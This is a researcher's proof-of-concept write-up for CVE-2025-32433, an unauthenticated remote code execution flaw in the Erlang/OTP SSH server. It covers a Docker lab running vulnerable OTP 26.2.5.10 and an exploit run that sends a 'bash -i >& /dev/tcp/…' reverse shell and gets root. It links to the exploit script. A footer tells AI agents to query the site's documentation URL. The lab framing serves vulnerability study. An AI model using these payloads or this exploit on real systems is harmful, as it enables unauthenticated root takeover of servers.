# OTP SSH - CVE-2025-32433

"*A serious vulnerability has been identified in the Erlang/OTP SSH server that may allow an attacker to perform unauthenticated remote code execution (RCE)."*

The SSH server accepts and processes certain message types (like `channel_request`) **before authentication was complete** - in clear violation of the SSH protocol (RFC 4252 Section 6). This make it possible for a unauthenticated attacker to:

1. Open a TCP connection to the SSH server.
2. Send valid `SSH_MSG_KEXINIT`, then:
3. Skip authentication completely, and
4. Send a `channel_request` with `exec` and payload like:

```erlang
file:write_file(\"/payload.txt\", <<\"pwned\">>).
```

Which would eventually be passed into Erlang's evaluation path - resulting in **unauthenticated remote code execution**.

<figure><img src="/files/PyPNs4ItKKPrw4H2xxbi" alt=""><figcaption></figcaption></figure>

***

## Setup dev environment

Files needed, `ssh_server.erl` and `Dockerfile`:

```erlang
%% ssh_server.erl
-module(ssh_server).
-export([start/0]).

start() ->
    io:format("Starting vulnerable SSH server~n"),
    application:ensure_all_started(ssh),
    case ssh:daemon(2222, [
        {system_dir, "/root/ssh_keys"},
        {auth_methods, "password"},
        {pwdfun, fun(User, Pass) ->
            io:format("Login attempt ~p/~p~n", [User, Pass]),
            false
        end}
    ]) of
        {ok, Pid} ->
            io:format("SSH Daemon started successfully. Pid: ~p~n", [Pid]);
        {error, Reason} ->
            io:format("Failed to start SSH daemon: ~p~n", [Reason])
    end.
```

```bash
## Dockerfile
FROM debian:bookworm

WORKDIR /build

RUN apt-get update && apt-get install -y \
  git build-essential libssl-dev autoconf libncurses5-dev \
  libgl1-mesa-dev libglu1-mesa-dev libpng-dev \
  libssh-dev libxml2-utils xsltproc fop wget curl \
  openssh-client

# Clone and build Erlang/OTP 26.2.5.10
RUN git clone https://github.com/erlang/otp.git && \
    cd otp && \
    git checkout OTP-26.2.5.10 && \
    ./configure --prefix=/usr && \
    make -j$(nproc) && \
    make install

WORKDIR /root

COPY ssh_server.erl .
RUN erlc ssh_server.erl

# Generate RSA key in PEM format that Erlang understands
RUN mkdir -p /root/ssh_keys && \
    ssh-keygen -m PEM -t rsa -b 2048 -f /root/ssh_keys/ssh_host_rsa_key -N "" && \
    ssh-keygen -y -f /root/ssh_keys/ssh_host_rsa_key > /root/ssh_keys/ssh_host_rsa_key.pub

EXPOSE 2222

CMD ["erl", "-noshell", "-pa", ".", "-s", "ssh_server", "start"]
```

Use the Dockerfile to setup a Docker container running the vulnerable Erlang OTP version 26.2.5.10. Note this will take a few minutes so be patient.&#x20;

```bash
kdev :: ~/erlang/CVE-2025-32433 ‹main› » docker build -t erlang-ssh . 
Sending build context to Docker daemon  74.75kB
Step 1/10 : FROM debian:bookworm

[... many minutes later ...]

Step 10/10 : CMD ["erl", "-noshell", "-pa", ".", "-s", "ssh_server", "start"]
 ---> Running in ece5765314cc
 ---> Removed intermediate container ece5765314cc
 ---> 14c230c25701
Successfully built 14c230c25701
Successfully tagged erlang-ssh:latest

kdev :: ~/erlang/CVE-2025-32433 ‹main› » docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh             
kdev :: ~/erlang/CVE-2025-32433 ‹main› » docker container ls                                    
CONTAINER ID   IMAGE        COMMAND                  CREATED          STATUS          PORTS                    NAMES
cf0f300797ea   erlang-ssh   "erl -noshell -pa . …"   17 seconds ago   Up 16 seconds   0.0.0.0:2222->2222/tcp   erlang-ssh

kdev :: ~/erlang/CVE-2025-32433 ‹main› » nc 127.0.0.1 2222 -v
localhost [127.0.0.1] 2222 (?) open
SSH-2.0-Erlang/5.1.4.7
```

***

## POC || GTFO

```bash
kdev :: ~/erlang/CVE-2025-32433 ‹main*› » python3 cve-2025-32433.py -h
usage: cve-2025-32433.py [-h] [-d] [--host HOST] [--port PORT]

Exploit for CVE-2025-32433 (Erlang OTP SSH server).

options:
  -h, --help           show this help message and exit
  -d, --debug          Print raw response in hex format
  -t, --target TARGET  Target host (default: 127.0.0.1)
  -p, --port PORT      Target port (default: 2222)
  
kdev :: ~/erlang/CVE-2025-32433 ‹main*› » python3 cve-2025-32433.py -t 127.0.0.1 -p 2222
[*] Connecting to SSH server...
[✓] Banner: SSH-2.0-Erlang/5.1.4.7
[*] Sending KEXINIT...
[*] Opening channel...
[?] Shell command: bash -i >& /dev/tcp/172.17.0.1/4488 0>&1
[*] Sending CHANNEL_REQUEST...
[✓] Payload sent.
```

```bash
kdev :: ~/erlang/CVE-2025-32433 ‹main*› » nc -lvnp 4488
listening on [any] 4488 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 58338

root@cf0f300797ea:~# id && hostname
uid=0(root) gid=0(root) groups=0(root)
cf0f300797ea
```

Exploit script can be found on my [git](https://github.com/0xPThree/cve-2025-32433/tree/main).


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xpthree.gitbook.io/notes/exploits-pocs/erlang/otp-ssh-cve-2025-32433.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
